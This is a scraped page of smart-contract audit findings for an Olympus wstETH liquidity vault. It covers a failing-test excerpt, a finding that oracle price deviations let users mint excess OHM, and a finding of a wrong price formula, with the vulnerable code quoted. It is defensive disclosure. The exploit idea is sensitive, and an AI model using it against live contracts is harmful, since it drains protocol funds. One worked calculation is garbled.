[PASS] testCorrectness_mintOhmToVaultIncreasesDeployedOhmValue(uint256) (runs: 256, μ: 322874, ~: 322874)
[PASS] testCorrectness_mintOhmToVaultMintsToCorrectAddress() (gas: 323738)
[PASS] testCorrectness_setFeeCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17682, ~: 17682)
[PASS] testCorrectness_setFeeCannotSetFeeAbove100(uint64) (runs: 256, μ: 17081, ~: 17081)
[PASS] testCorrectness_setFeeCorrectlySetsFee(uint64) (runs: 256, μ: 22193, ~: 22412)
[PASS] testCorrectness_setLimitCanOnlyBeCalledByAdmin(address) (runs: 256, μ: 17582, ~: 17582)
[PASS] testCorrectness_setLimitCannotSetLimitBelowCurrentDeployedOhm() (gas: 328913)
[PASS] testCorrectness_setLimitCorrectlySetsLimit(uint256) (runs: 256, μ: 21151, ~: 21320)
Test result: FAILED. 38 passed; 1 failed; finished in 95.86ms

Failing tests:
Encountered 1 failing test in src/test/policies/BoostedLiquidity/BLVaultManagerLidoMocks.t.sol:BLVaultManagerLidoTest
[FAIL. Reason: Call did not revert as expected] testCorrectness_deployVaultFailsIfUserAlreadyHasVault() (gas: 391201)

Encountered a total of 1 failing tests, 38 tests succeeded

Tool used

Foundry + Visual Studio Code

Manual Review

Recommendation

To validate owner, use require statement and not if statement.

0x52 - Users can abuse discrepancies between oracle and true asset price to mint more OHM than needed and profit from it

0x52

high

Users can abuse discrepancies between oracle and true asset price to mint more OHM than needed and profit from it

Summary

All chainlink oracles have a deviation threshold between the current price of the asset and the on-chain price for that asset. The more oracles used for determining the price the larger the total discrepancy can be. These can be combined and exploited to mint more OHM than expected and profit.

Vulnerability Detail

BLVaultLido.sol#L156-L171

    uint256 ohmWstethPrice = manager.getOhmTknPrice();
    uint256 ohmMintAmount = (amount_ * ohmWstethPrice) / _WSTETH_DECIMALS;

    // Block scope to avoid stack too deep
    {
        // Cache OHM-wstETH BPT before
        uint256 bptBefore = liquidityPool.balanceOf(address(this));

        // Transfer in wstETH
        wsteth.safeTransferFrom(msg.sender, address(this), amount_);

        // Mint OHM
        manager.mintOhmToVault(ohmMintAmount);

        // Join Balancer pool
        _joinBalancerPool(ohmMintAmount, amount_, minLpAmount_);

The amount of OHM to mint and deposit is determined by the calculated price from the on-chain oracle prices.

BLVaultLido.sol#L355-L364

    uint256[] memory maxAmountsIn = new uint256[](2);
    maxAmountsIn[0] = ohmAmount_;
    maxAmountsIn[1] = wstethAmount_;

    JoinPoolRequest memory joinPoolRequest = JoinPoolRequest({
        assets: assets,
        maxAmountsIn: maxAmountsIn,
        userData: abi.encode(1, maxAmountsIn, minLpAmount_),
        fromInternalBalance: false
    });

To make the issue worse, _joinBalancerPool use 1 for the join type. This is the EXACT_TOKENS_IN_FOR_BPT_OUT method of joining. What this means is that the join will guaranteed use all input tokens. If the current pool isn't balanced in the same way then the join request will effectively swap one token so that the input tokens match the current pool. Now if the ratio is off then too much OHM will be minted and will effectively traded for wstETH. This allows the user to withdraw at a profit once the oracle has been updated the discrepancy is gone.

Impact

Users can always time oracles so that they enter at an advantageous price and the deficit is paid by Olympus with minted OHM

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultLido.sol#L340-L370

Tool used

Manual Review

Recommendation

The vault needs to have withdraw and/or deposit fees to make attacks like this unprofitable.

Bauer - Incorrect getTknOhmPrice() function implementation

Bauer

high

Incorrect getTknOhmPrice() function implementation

Summary

Incorrect getTknOhmPrice() function implementation

Vulnerability Detail

The getTknOhmPrice() implementation is incorrect.

  function getTknOhmPrice() public view override returns (uint256) {
        // Get stETH per wstETH (18 Decimals)
        uint256 stethPerWsteth = IWsteth(pairToken).stEthPerToken();

        // Get ETH per OHM (18 Decimals)
        uint256 ethPerOhm = _validatePrice(ohmEthPriceFeed.feed, ohmEthPriceFeed.updateThreshold);

        // Get stETH per ETH (18 Decimals)
        uint256 stethPerEth = _validatePrice(
            stethEthPriceFeed.feed,
            stethEthPriceFeed.updateThreshold
        );

        // Calculate wstETH per OHM (18 decimals)
        return (ethPerOhm * 1e36) / (stethPerWsteth * stethPerEth);
    }

Asumue:
1 wstETH = 10 stETH
1 OHM = 2 ETH
1 ETH = 5 stETH

Then, 1 OHM = 25/10 wstETH.
However, the result of the protocol calculation is 2/(10
5). This is incorrect.

Impact

Function getTknOhmPrice() implementation is incorrect.

Code Snippet

https://github.com/sherlock-audit/2023-03-olympus/blob/main/sherlock-olympus/src/policies/BoostedLiquidity/BLVaultManagerLido.sol#L458-L473

Tool used

Manual Review

Recommendation

return (ethPerOhm * stethPerEth) / stethPerWsteth;

Duplicate of #42

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.